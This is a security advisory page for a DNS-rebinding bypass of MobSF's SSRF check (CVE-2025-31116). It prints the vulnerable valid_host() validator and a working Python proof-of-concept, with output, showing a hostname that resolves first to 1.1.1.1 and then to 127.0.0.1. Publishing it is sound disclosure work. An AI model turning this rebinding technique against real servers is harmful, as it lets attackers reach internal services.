Mobile Security Framework (MobSF) has a SSRF Vulnerability fix bypass on assetlinks_check with DNS Rebinding
Summary
The latest deployed fix for the SSRF vulnerability is through the use of the call valid_host(). The code available at lines /ae34f7c055aa64fca58e995b70bc7f19da6ca33a/mobsf/MobSF/utils.py#L907-L957 is vulnerable to SSRF abuse using DNS rebinding technique.
PoC
The following proof of concept:
def valid_host(host):
"""Check if host is valid."""
try:
prefixs = ('http://', 'https://')
if not host.startswith(prefixs):
host = f'http://{host}'
parsed = urlparse(host)
domain = parsed.netloc
path = parsed.path
if len(domain) == 0:
# No valid domain
return False, None
if len(path) > 0:
# Only host is allowed
return False, None
if ':' in domain:
# IPv6
return False, None
# Local network
invalid_prefix = (
'100.64.',
'127.',
'192.',
'198.',
'10.',
'172.',
'169.',
'0.',
'203.0.',
'224.0.',
'240.0',
'255.255.',
'localhost',
'::1',
'64::ff9b::',
'100::',
'2001::',
'2002::',
'fc00::',
'fe80::',
'ff00::')
if domain.startswith(invalid_prefix):
return False, None
ip = socket.gethostbyname(domain)
if ip.startswith(invalid_prefix):
# Resolve dns to get IP
return False, None
return True, ip
except Exception:
return False, None
import random
import time
import socket
from urllib.parse import urlparse
if __name__ == '__main__':
print("Generating random host ...", end=' ')
prefix = random.randint(999_999, 9_999_999)
host = f"{prefix}-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms"
print("Done")
print(f"Testing with '{host}' ... ", end=" ")
valid, ip = valid_host(host)
if valid:
print(f"Successful Bypass")
print(f" - Host initially resolved to: {ip}")
print("Sleeping for 1 second ...")
time.sleep(1)
print(f" - Second use host will be resolved to: {socket.gethostbyname(host)}")
print(f" - Third use host will be resolved to: {socket.gethostbyname(host)}")
print("Sleeping for 30 seconds ...")
time.sleep(30)
else:
print(f"Invalid host")
Yields :
$ python3 poc.py
Generating random host ... Done
Testing with '5084216-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms' ... Successful Bypass
- Host initially resolved to: 1.1.1.1
Sleeping for 1 second ...
- Second use host will be resolved to: 127.0.0.1
- Third use host will be resolved to: 127.0.0.1
Sleeping for 30 seconds ...
Which generate an initlal random url that leverages dns rebinding after 1 time host resolution and remains to that IP for 30 seconds.
As you can notice the initial resolution was pointing to 1.1.1.1. The second time the IP was resolved to 127.0.0.1. Such an attack could be adjusted for other IP addresses.
Impact
The usual impact of Server-side request forgery.
Remediation
- Avoid the use of
socket.gethostbyname()since it issues and DNS query.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | mobsf | < 4.3.2 | 4.3.2 |
References
- https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-fcfq-m8p6-gw56
- https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/4b8bab5a9858c69fe13be4631b82d82186e0d3bd
- https://github.com/advisories/GHSA-fcfq-m8p6-gw56
- https://nvd.nist.gov/vuln/detail/CVE-2025-31116
- https://github.com/MobSF/Mobile-Security-Framework-MobSF
- https://github.com/pypa/advisory-database/tree/main/vulns/mobsf/PYSEC-2025-48.yaml
- CVSS vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:N/A:L- Weakness (CWE)
CWE-918- Platform
- Python (PyPI)
- Package
mobsf- Disclosed
- 31.03.2025
- Updated
- 11.10.2026 12:20
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2025-48 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-fcfq-m8p6-gw56 - CC BY 4.0
Vulnerability history: mobsf
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 22
- First → latest
- 10.2022 08.2026
- Without a fix
- 1
- Exploited in attacks
- 0
Severity breakdown
- High 9
- Medium 11
- Low 2
Disclosures per year
- 2022: 1
- 2023: 1
- 2024: 6
- 2025: 8
- 2026: 6
-
Mobile Security Framework (MobSF) has a SSRF Vulnerability fix bypass on assetlinks_check with DNS Rebinding this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.